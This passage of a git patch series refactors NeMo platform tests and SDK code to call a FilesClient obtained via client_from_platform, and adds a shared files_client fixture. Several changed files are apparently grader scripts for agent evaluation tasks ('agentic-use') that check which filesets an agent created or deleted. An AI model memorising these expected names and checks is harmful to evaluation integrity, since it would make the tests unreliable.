[fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py index 3223c87502..a92fcf214d 100644 --- a/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-llm-judge-cli/tests/test_outputs.py @@ -23,6 +23,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient sys.path.insert(0, "/tests/shared") from trace_reader import get_session @@ -58,8 +60,8 @@ def _get_nmp_client() -> NeMoPlatform: def test_fileset_exists() -> None: """Verify the judge-eval-dataset fileset was created.""" client = _get_nmp_client() - response = client.files.filesets.list() - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py b/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py index c2823ea973..ff4405c777 100644 --- a/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-simple-job-cli-easy/tests/test_outputs.py @@ -11,6 +11,8 @@ import os from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient WORKSPACE = "eval-test-workspace" FILESET = "eval-dataset" @@ -32,8 +34,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the eval-dataset fileset was created.""" client = _get_client() - response = client.files.filesets.list(workspace=WORKSPACE) - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py index c2823ea973..ff4405c777 100644 --- a/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-simple-job-cli/tests/test_outputs.py @@ -11,6 +11,8 @@ import os from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient WORKSPACE = "eval-test-workspace" FILESET = "eval-dataset" @@ -32,8 +34,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the eval-dataset fileset was created.""" client = _get_client() - response = client.files.filesets.list(workspace=WORKSPACE) - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py index 233dc7459b..6387680751 100644 --- a/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-tool-calling-cli/tests/test_outputs.py @@ -17,6 +17,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient sys.path.insert(0, "/tests/shared") from trace_reader import get_session @@ -61,8 +63,8 @@ def test_workspace_exists(): def test_fileset_exists(): """Verify the tool-calling-dataset fileset was created.""" client = _get_client() - response = client.files.filesets.list() - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py b/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py index 59aa52958a..654e9925d1 100644 --- a/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-zero-config-judge-cli/tests/test_outputs.py @@ -29,6 +29,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient sys.path.insert(0, "/tests/shared") from trace_reader import get_session @@ -64,8 +66,8 @@ def _get_nmp_client() -> NeMoPlatform: def test_fileset_exists() -> None: """Verify the zeroconfig-dataset fileset was created.""" client = _get_nmp_client() - response = client.files.filesets.list() - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py b/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py index e2371acd04..8e421bcd55 100644 --- a/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/files-crud-cli-easy/tests/test_outputs.py @@ -15,6 +15,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from trace_reader import get_session WORKSPACE = "default" @@ -28,8 +30,8 @@ def client() -> NeMoPlatform: def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: """Test that harbor-test-fileset was deleted after CRUD operations.""" - response = client.files.filesets.list() - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert "harbor-test-fileset" not in fileset_names, ( f"Fileset 'harbor-test-fileset' should have been deleted but still exists! Found: {fileset_names}" ) @@ -37,7 +39,8 @@ def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: def test_harbor_final_fileset_exists(client: NeMoPlatform) -> None: """Test that harbor-final-fileset was created and has correct metadata.""" - response = client.files.filesets.retrieve(name="harbor-final-fileset") + files = client_from_platform(client, FilesClient) + response = files.get_fileset(name="harbor-final-fileset").data() assert response.name == "harbor-final-fileset", ( f"Expected fileset name 'harbor-final-fileset', got '{response.name}'" ) diff --git a/tests/agentic-use/files-crud-cli/tests/test_outputs.py b/tests/agentic-use/files-crud-cli/tests/test_outputs.py index e2371acd04..8e421bcd55 100644 --- a/tests/agentic-use/files-crud-cli/tests/test_outputs.py +++ b/tests/agentic-use/files-crud-cli/tests/test_outputs.py @@ -15,6 +15,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from trace_reader import get_session WORKSPACE = "default" @@ -28,8 +30,8 @@ def client() -> NeMoPlatform: def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: """Test that harbor-test-fileset was deleted after CRUD operations.""" - response = client.files.filesets.list() - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets().page().items] assert "harbor-test-fileset" not in fileset_names, ( f"Fileset 'harbor-test-fileset' should have been deleted but still exists! Found: {fileset_names}" ) @@ -37,7 +39,8 @@ def test_harbor_test_fileset_deleted(client: NeMoPlatform) -> None: def test_harbor_final_fileset_exists(client: NeMoPlatform) -> None: """Test that harbor-final-fileset was created and has correct metadata.""" - response = client.files.filesets.retrieve(name="harbor-final-fileset") + files = client_from_platform(client, FilesClient) + response = files.get_fileset(name="harbor-final-fileset").data() assert response.name == "harbor-final-fileset", ( f"Expected fileset name 'harbor-final-fileset', got '{response.name}'" ) diff --git a/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py b/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py index 05270db0cc..c5daf27419 100644 --- a/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/files-upload-dataset-cli-easy/tests/test_outputs.py @@ -16,6 +16,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from trace_reader import get_session WORKSPACE = "default" @@ -35,7 +37,8 @@ def client() -> NeMoPlatform: def test_fileset_exists(client: NeMoPlatform) -> None: """Test that harbor-dataset-fileset was created with correct metadata.""" - response = client.files.filesets.retrieve(name=FILESET_NAME) + files = client_from_platform(client, FilesClient) + response = files.get_fileset(name=FILESET_NAME).data() assert response.name == FILESET_NAME, f"Expected fileset name '{FILESET_NAME}', got '{response.name}'" assert response.description == "Dataset fileset for harbor eval", ( f"Expected description 'Dataset fileset for harbor eval', got '{response.description}'" diff --git a/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py b/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py index 05270db0cc..c5daf27419 100644 --- a/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py +++ b/tests/agentic-use/files-upload-dataset-cli/tests/test_outputs.py @@ -16,6 +16,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from trace_reader import get_session WORKSPACE = "default" @@ -35,7 +37,8 @@ def client() -> NeMoPlatform: def test_fileset_exists(client: NeMoPlatform) -> None: """Test that harbor-dataset-fileset was created with correct metadata.""" - response = client.files.filesets.retrieve(name=FILESET_NAME) + files = client_from_platform(client, FilesClient) + response = files.get_fileset(name=FILESET_NAME).data() assert response.name == FILESET_NAME, f"Expected fileset name '{FILESET_NAME}', got '{response.name}'" assert response.description == "Dataset fileset for harbor eval", ( f"Expected description 'Dataset fileset for harbor eval', got '{response.description}'" diff --git a/tools/nemo-platform-sdk-tools/src/nemo_platform_sdk_tools/sdk/cli_generator/overrides/files/upload.py b/tools/nemo-platform-sdk-tools/src/nemo_platform_sdk_tools/sdk/cli_generator/overrides/files/upload.py index 10a5b08723..9ec52f7aa1 100644 --- a/tools/nemo-platform-sdk-tools/src/nemo_platform_sdk_tools/sdk/cli_generator/overrides/files/upload.py +++ b/tools/nemo-platform-sdk-tools/src/nemo_platform_sdk_tools/sdk/cli_generator/overrides/files/upload.py @@ -7,6 +7,8 @@ import typer from nemo_platform_ext.cli.core.context import CLIContext from nemo_platform_ext.cli.core.errors import handle_errors +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient app = cast(Any, None) # override-skip: provided by generated file @@ -49,6 +51,7 @@ def upload_files( raw_local_path: str = ctx.params.get("local_path") client = state.get_client() + files = client_from_platform(client, FilesClient) if workspace is None: workspace = client._get_workspace_path_param() @@ -57,7 +60,7 @@ def upload_files( with RichProgressCallback(description="Uploading") as callback: if fileset is not None: # Validate fileset exists before uploading - client.files.filesets.retrieve(fileset, workspace=workspace) + files.get_fileset(name=fileset, workspace=workspace) client.files.upload( local_path=raw_local_path, remote_path=remote_path, From 808c02cd53175ea644c9150d1be480d302d17bc2 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Mon, 6 Jul 2026 18:50:43 -0700 Subject: [PATCH 05/12] code review Signed-off-by: Matthew Grossman --- e2e/conftest.py | 8 + e2e/files/test_files.py | 10 +- e2e/files/test_storage_backends.py | 33 +- e2e/test_data_designer.py | 15 +- packages/filesets/src/filesets/resources.py | 18 +- .../tests/cli/integration/conftest.py | 8 + .../tests/cli/integration/test_filesets.py | 14 +- .../src/nemo_platform/filesets/resources.py | 200 ++++------- .../cli/integration/conftest.py | 19 +- .../cli/integration/test_filesets.py | 23 +- .../files/src/nmp/core/files/testing/utils.py | 2 +- .../core/files/tests/integration/conftest.py | 19 +- .../tests/integration/test_files_basic.py | 2 +- .../files/tests/integration/test_files_sdk.py | 316 +++++++++--------- .../integration/test_fileset_filesystem.py | 8 +- .../tests/test_outputs.py | 10 +- .../tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 9 +- .../tests/test_outputs.py | 9 +- .../files-crud-cli-easy/tests/test_outputs.py | 15 +- .../files-crud-cli/tests/test_outputs.py | 15 +- .../tests/test_outputs.py | 10 +- .../tests/test_outputs.py | 10 +- 26 files changed, 412 insertions(+), 397 deletions(-) diff --git a/e2e/conftest.py b/e2e/conftest.py index 3826cb5bed..976d2c7e5d 100644 --- a/e2e/conftest.py +++ b/e2e/conftest.py @@ -65,6 +65,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from e2e.services_pool import E2EServicesPool, RunningServices, admin_headers @@ -259,6 +261,12 @@ def sdk(_services: str, _services_instance: RunningServices) -> NeMoPlatform: ) +@pytest.fixture(scope="module") +def files_client(sdk: NeMoPlatform) -> FilesClient: + """Provide a FilesClient derived from the SDK.""" + return client_from_platform(sdk, FilesClient) + + @pytest.fixture(scope="function") def workspace(sdk: NeMoPlatform) -> Iterator[str]: """Create a unique workspace for each test, deleted on teardown.""" diff --git a/e2e/files/test_files.py b/e2e/files/test_files.py index b299265d1a..d351a37698 100644 --- a/e2e/files/test_files.py +++ b/e2e/files/test_files.py @@ -11,23 +11,21 @@ import pytest from nemo_platform import NeMoPlatform -from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest from nemo_platform_plugin.files.types import FilesetOutput as Fileset @pytest.fixture -def fileset(sdk: NeMoPlatform, workspace: str) -> Iterator[Fileset]: +def fileset(files_client: FilesClient, workspace: str) -> Iterator[Fileset]: """Create a unique fileset for each test with automatic cleanup.""" fileset_name = f"e2e-fileset-{uuid.uuid4().hex[:8]}" - files = client_from_platform(sdk, FilesClient) - fileset = files.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace).data() + fileset = files_client.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace).data() yield fileset try: - files.delete_fileset(name=fileset_name, workspace=workspace) + files_client.delete_fileset(name=fileset_name, workspace=workspace) except Exception: - pass # Ignore cleanup errors + pass def test_file_upload_and_download(sdk: NeMoPlatform, workspace: str, fileset: Fileset): diff --git a/e2e/files/test_storage_backends.py b/e2e/files/test_storage_backends.py index 386ad1c5d3..b09ebc3da2 100644 --- a/e2e/files/test_storage_backends.py +++ b/e2e/files/test_storage_backends.py @@ -16,7 +16,6 @@ import pytest from nemo_platform import NeMoPlatform -from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.client.errors import BadRequestError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig, NGCStorageConfig @@ -44,11 +43,10 @@ @pytest.fixture -def ngc_fileset(sdk: NeMoPlatform, workspace: str, ngc_secret: str) -> Iterator[str]: +def ngc_fileset(files_client: FilesClient, workspace: str, ngc_secret: str) -> Iterator[str]: """Create an NGC-backed fileset, cleaned up after test.""" fileset_name = f"e2e-ngc-fs-{uuid.uuid4().hex[:8]}" - files = client_from_platform(sdk, FilesClient) - files.create_fileset( + files_client.create_fileset( workspace=workspace, body=CreateFilesetRequest( name=fileset_name, @@ -64,9 +62,9 @@ def ngc_fileset(sdk: NeMoPlatform, workspace: str, ngc_secret: str) -> Iterator[ ) yield fileset_name try: - files.delete_fileset(name=fileset_name, workspace=workspace) + files_client.delete_fileset(name=fileset_name, workspace=workspace) except Exception: - pass # Best-effort cleanup; the workspace is deleted anyway + pass @pytest.fixture @@ -90,10 +88,9 @@ def hf_secret(sdk: NeMoPlatform, workspace: str, hf_token: str) -> Iterator[str] @pytest.fixture -def hf_fileset(sdk: NeMoPlatform, workspace: str, hf_secret: str) -> Iterator[str]: +def hf_fileset(files_client: FilesClient, workspace: str, hf_secret: str) -> Iterator[str]: """Create a Hugging Face-backed fileset, cleaned up after test.""" fileset_name = f"e2e-hf-fs-{uuid.uuid4().hex[:8]}" - files = client_from_platform(sdk, FilesClient) storage = HuggingfaceStorageConfig( repo_id=HF_REPO_ID, @@ -101,7 +98,7 @@ def hf_fileset(sdk: NeMoPlatform, workspace: str, hf_secret: str) -> Iterator[st token_secret=hf_secret, ) - files.create_fileset( + files_client.create_fileset( workspace=workspace, body=CreateFilesetRequest( name=fileset_name, @@ -111,9 +108,9 @@ def hf_fileset(sdk: NeMoPlatform, workspace: str, hf_secret: str) -> Iterator[st ) yield fileset_name try: - files.delete_fileset(name=fileset_name, workspace=workspace) + files_client.delete_fileset(name=fileset_name, workspace=workspace) except Exception: - pass # Best-effort cleanup; the workspace is deleted anyway + pass # =================================================================== @@ -192,6 +189,7 @@ def test_cache_status(self, sdk: NeMoPlatform, workspace: str, ngc_fileset: str) def test_create_error( self, sdk: NeMoPlatform, + files_client: FilesClient, workspace: str, ngc_api_key: str, secret_value: str | None, @@ -203,7 +201,6 @@ def test_create_error( secret_name = f"e2e-ngc-err-{uuid.uuid4().hex[:8]}" sdk.secrets.create(workspace=workspace, name=secret_name, value=value) try: - files = client_from_platform(sdk, FilesClient) storage = NGCStorageConfig( api_key_secret=secret_name, org=storage_overrides.get("org", NGC_ORG), @@ -212,7 +209,7 @@ def test_create_error( target_type=NGC_TARGET_TYPE, ) with pytest.raises(BadRequestError, match=match): - files.create_fileset( + files_client.create_fileset( workspace=workspace, body=CreateFilesetRequest( name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", @@ -222,11 +219,10 @@ def test_create_error( finally: sdk.secrets.delete(workspace=workspace, name=secret_name) - def test_create_error_nonexistent_secret(self, sdk: NeMoPlatform, workspace: str): + def test_create_error_nonexistent_secret(self, files_client: FilesClient, workspace: str): """Referencing a secret that doesn't exist is rejected with 400.""" - files = client_from_platform(sdk, FilesClient) with pytest.raises(BadRequestError, match="Secret not found:"): - files.create_fileset( + files_client.create_fileset( workspace=workspace, body=CreateFilesetRequest( name=f"e2e-ngc-err-{uuid.uuid4().hex[:8]}", @@ -292,11 +288,10 @@ def test_cache_status(self, sdk: NeMoPlatform, workspace: str, hf_fileset: str): # -- error cases -- - def test_error_nonexistent_repo(self, sdk: NeMoPlatform, workspace: str): + def test_error_nonexistent_repo(self, files_client: FilesClient, workspace: str): """Pointing at a repo that doesn't exist is rejected with 400.""" - files = client_from_platform(sdk, FilesClient) with pytest.raises(BadRequestError): - files.create_fileset( + files_client.create_fileset( workspace=workspace, body=CreateFilesetRequest( name=f"e2e-hf-err-{uuid.uuid4().hex[:8]}", diff --git a/e2e/test_data_designer.py b/e2e/test_data_designer.py index 8ef7524275..2890b19183 100644 --- a/e2e/test_data_designer.py +++ b/e2e/test_data_designer.py @@ -12,7 +12,6 @@ from nemo_data_designer_plugin.sdk.errors import DataDesignerJobError from nemo_platform import NeMoPlatform from nemo_platform.types.inference import ModelProvider -from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.client.errors import NotFoundError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest @@ -136,13 +135,12 @@ def test_simple_ndd_config(sdk: NeMoPlatform, workspace: str) -> None: _assert_dataset_equal(job_dataset, expected_job_dataset) -def test_fileset_seed_data(sdk: NeMoPlatform, workspace: str) -> None: +def test_fileset_seed_data(sdk: NeMoPlatform, files_client: FilesClient, workspace: str) -> None: """Tests that the Data Designer *library* plugin that makes Filesets available as seed sources is wired up properly by the Data Designer *platform plugin*. """ fileset_name = "my-fileset" - files = client_from_platform(sdk, FilesClient) - files.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace) + files_client.create_fileset(body=CreateFilesetRequest(name=fileset_name), workspace=workspace) seed_data = pd.DataFrame(data={"seed": ["my-seed"]}) remote_path = "data.parquet" @@ -175,7 +173,9 @@ def test_fileset_seed_data(sdk: NeMoPlatform, workspace: str) -> None: @pytest.fixture -def nemotron_personas_locale(_services: str, sdk: NeMoPlatform, workspace: str, ngc_secret: str) -> Generator[str]: +def nemotron_personas_locale( + _services: str, files_client: FilesClient, workspace: str, ngc_secret: str +) -> Generator[str]: """Invokes the CLI to create a Fileset for Nemotron Personas data. This test does call out to NGC and downloads personas data. Use the smallest locale available @@ -188,9 +188,8 @@ def nemotron_personas_locale(_services: str, sdk: NeMoPlatform, workspace: str, locale = "en_SG" fileset_name = get_resource_name_for_locale(locale) - files = client_from_platform(sdk, FilesClient) with suppress(NotFoundError): - files.delete_fileset(name=fileset_name, workspace=WORKSPACE) + files_client.delete_fileset(name=fileset_name, workspace=WORKSPACE) result = run_nemo_local( "data-designer", @@ -208,7 +207,7 @@ def nemotron_personas_locale(_services: str, sdk: NeMoPlatform, workspace: str, yield locale with suppress(NotFoundError): - files.delete_fileset(name=fileset_name, workspace=WORKSPACE) + files_client.delete_fileset(name=fileset_name, workspace=WORKSPACE) def test_nemotron_personas_sampling(sdk: NeMoPlatform, workspace: str, nemotron_personas_locale: str) -> None: diff --git a/packages/filesets/src/filesets/resources.py b/packages/filesets/src/filesets/resources.py index adf0c52979..198983952c 100644 --- a/packages/filesets/src/filesets/resources.py +++ b/packages/filesets/src/filesets/resources.py @@ -137,10 +137,13 @@ class FilesResource: For fsspec filesystem access, use ``resource.fsspec``. """ - def __init__(self, client) -> None: - from nemo_platform_plugin.client.adapter import client_from_platform + def __init__(self, client, *, files_client: FilesClient | None = None) -> None: + if files_client is not None: + self._client = files_client + else: + from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, FilesClient) + self._client = client_from_platform(client, FilesClient) @cached_property def client(self) -> FilesClient: @@ -663,10 +666,13 @@ class AsyncFilesResource: For fsspec filesystem access, use ``resource.fsspec``. """ - def __init__(self, client) -> None: - from nemo_platform_plugin.client.adapter import client_from_platform + def __init__(self, client, *, files_client: AsyncFilesClient | None = None) -> None: + if files_client is not None: + self._client = files_client + else: + from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, AsyncFilesClient) + self._client = client_from_platform(client, AsyncFilesClient) @cached_property def client(self) -> AsyncFilesClient: diff --git a/packages/nemo_platform_ext/tests/cli/integration/conftest.py b/packages/nemo_platform_ext/tests/cli/integration/conftest.py index ad57200676..6c2d2ac20a 100644 --- a/packages/nemo_platform_ext/tests/cli/integration/conftest.py +++ b/packages/nemo_platform_ext/tests/cli/integration/conftest.py @@ -19,6 +19,8 @@ from click.testing import Result from nemo_platform import NeMoPlatform from nemo_platform_ext.cli.core.context import CLIContext +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nmp.core.files.service import FilesService from nmp.testing import create_test_client from starlette.testclient import TestClient @@ -40,6 +42,12 @@ def sdk(http_client: TestClient) -> NeMoPlatform: return NeMoPlatform(base_url="http://testserver", http_client=http_client) +@pytest.fixture(scope="module") +def files_client(sdk: NeMoPlatform) -> FilesClient: + """Provide a FilesClient derived from the SDK.""" + return client_from_platform(sdk, FilesClient) + + @pytest.fixture def random_workspace(sdk: NeMoPlatform) -> str: """ diff --git a/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py b/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py index a01f9c2747..a351894d9a 100644 --- a/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py +++ b/packages/nemo_platform_ext/tests/cli/integration/test_filesets.py @@ -17,10 +17,11 @@ @pytest.fixture -def test_fileset(sdk: NeMoPlatform, random_workspace: str) -> dict: +def test_fileset(files_client: FilesClient, random_workspace: str) -> dict: """Create a test fileset.""" - files = client_from_platform(sdk, FilesClient) - fileset = files.create_fileset(body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace).data() + fileset = files_client.create_fileset( + body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace + ).data() return {"workspace": random_workspace, "name": fileset.name} @@ -214,7 +215,9 @@ def test_upload_without_fileset_auto_creates( @pytest.fixture -def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path: Path) -> dict: +def fileset_with_nested_files( + sdk: NeMoPlatform, files_client: FilesClient, random_workspace: str, tmp_path: Path +) -> dict: """Create a fileset with nested file structure for download tests. Structure: @@ -224,8 +227,7 @@ def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path file2.txt file3.txt """ - files = client_from_platform(sdk, FilesClient) - fileset = files.create_fileset( + fileset = files_client.create_fileset( body=CreateFilesetRequest(name="download-test-fileset"), workspace=random_workspace ).data() diff --git a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py index bfd56befd3..b2aa14fadb 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py +++ b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py @@ -8,21 +8,21 @@ """ import uuid -from collections.abc import AsyncIterator, Iterator -from dataclasses import dataclass -from functools import cached_property -from pathlib import PurePath from typing import Protocol, runtime_checkable +from pathlib import PurePath +from functools import cached_property +from dataclasses import dataclass +from collections.abc import Iterator, AsyncIterator -from fsspec.callbacks import Callback from fsspec.core import has_magic -from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient +from fsspec.callbacks import Callback from nemo_platform_plugin.files.types import ( CacheStatus, - CreateFilesetRequest, - FilesetFileOutput, FilesetOutput, + FilesetFileOutput, + CreateFilesetRequest, ) +from nemo_platform_plugin.files.client import FilesClient, AsyncFilesClient from nemo_platform.filesets.filesystem.filesystem import ( FilesetFileSystem, @@ -137,10 +137,13 @@ class FilesResource: For fsspec filesystem access, use ``resource.fsspec``. """ - def __init__(self, client) -> None: - from nemo_platform_plugin.client.adapter import client_from_platform + def __init__(self, client, *, files_client: FilesClient | None = None) -> None: + if files_client is not None: + self._client = files_client + else: + from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, FilesClient) + self._client = client_from_platform(client, FilesClient) @cached_property def client(self) -> FilesClient: @@ -189,53 +192,32 @@ def download( Examples: # Explicit fileset/workspace >>> sdk.files.download( - ... fileset="my-fileset", - ... workspace="default", - ... remote_path="data/", - ... local_path="./downloads/" + ... fileset="my-fileset", workspace="default", remote_path="data/", local_path="./downloads/" ... ) # Inferred from path (with workspace) - >>> sdk.files.download( - ... remote_path="default/my-fileset#data/", - ... local_path="./downloads/" - ... ) + >>> sdk.files.download(remote_path="default/my-fileset#data/", local_path="./downloads/") # Inferred from path (workspace from SDK default) - >>> sdk.files.download( - ... remote_path="my-fileset#data/", - ... local_path="./downloads/" - ... ) + >>> sdk.files.download(remote_path="my-fileset#data/", local_path="./downloads/") # Download files matching a glob pattern - >>> sdk.files.download( - ... fileset="my-fileset", - ... remote_path="*.json", - ... local_path="./downloads/" - ... ) + >>> sdk.files.download(fileset="my-fileset", remote_path="*.json", local_path="./downloads/") # Download files matching a pattern in a subdirectory - >>> sdk.files.download( - ... fileset="my-fileset", - ... remote_path="data/*.jsonl", - ... local_path="./downloads/" - ... ) + >>> sdk.files.download(fileset="my-fileset", remote_path="data/*.jsonl", local_path="./downloads/") # Download a list of specific files >>> sdk.files.download( ... fileset="my-fileset", ... remote_path=["config.json", "tokenizer.json", "vocab.txt"], - ... local_path="./downloads/" + ... local_path="./downloads/", ... ) # With progress callback >>> from nemo_platform.filesets import RichProgressCallback >>> with RichProgressCallback(description="Downloading") as cb: - ... sdk.files.download( - ... remote_path="my-fileset#", - ... local_path="./", - ... callback=cb - ... ) + ... sdk.files.download(remote_path="my-fileset#", local_path="./", callback=cb) """ # Handle list of paths if isinstance(remote_path, list): @@ -319,37 +301,21 @@ def upload( Examples: # Explicit fileset/workspace >>> sdk.files.upload( - ... fileset="my-fileset", - ... workspace="default", - ... local_path="./data/", - ... remote_path="uploads/" + ... fileset="my-fileset", workspace="default", local_path="./data/", remote_path="uploads/" ... ) # Inferred from path - >>> sdk.files.upload( - ... local_path="./file.txt", - ... remote_path="default/my-fileset#file.txt" - ... ) + >>> sdk.files.upload(local_path="./file.txt", remote_path="default/my-fileset#file.txt") # With workspace from SDK default - >>> sdk.files.upload( - ... local_path="./file.txt", - ... remote_path="my-fileset#file.txt" - ... ) + >>> sdk.files.upload(local_path="./file.txt", remote_path="my-fileset#file.txt") # Auto-create fileset with specified name - >>> fileset = sdk.files.upload( - ... local_path="./data/", - ... fileset="new-fileset", - ... fileset_auto_create=True - ... ) + >>> fileset = sdk.files.upload(local_path="./data/", fileset="new-fileset", fileset_auto_create=True) >>> print(f"Uploaded to: {fileset.name}") # Auto-create fileset with generated name - >>> fileset = sdk.files.upload( - ... local_path="./data/", - ... fileset_auto_create=True - ... ) + >>> fileset = sdk.files.upload(local_path="./data/", fileset_auto_create=True) >>> print(f"Uploaded to: {fileset.name}") # e.g., "fileset-a1b2c3d4" """ ws, path_fileset, path = parse_fileset_path( @@ -497,10 +463,12 @@ def download_content( Examples: # Load JSON (most common use case) - >>> data = json.loads(sdk.files.download_content( - ... remote_path="config.json", - ... fileset="my-fileset", - ... )) + >>> data = json.loads( + ... sdk.files.download_content( + ... remote_path="config.json", + ... fileset="my-fileset", + ... ) + ... ) # Get text content >>> text = sdk.files.download_content( @@ -558,22 +526,13 @@ def list( ... print(f"{f.path}: {f.size} bytes") # List files in a subdirectory - >>> sdk.files.list( - ... fileset="my-fileset", - ... remote_path="data/" - ... ) + >>> sdk.files.list(fileset="my-fileset", remote_path="data/") # List files matching a glob pattern - >>> sdk.files.list( - ... fileset="my-fileset", - ... remote_path="*.json" - ... ) + >>> sdk.files.list(fileset="my-fileset", remote_path="*.json") # List files matching a pattern in a subdirectory - >>> sdk.files.list( - ... fileset="my-fileset", - ... 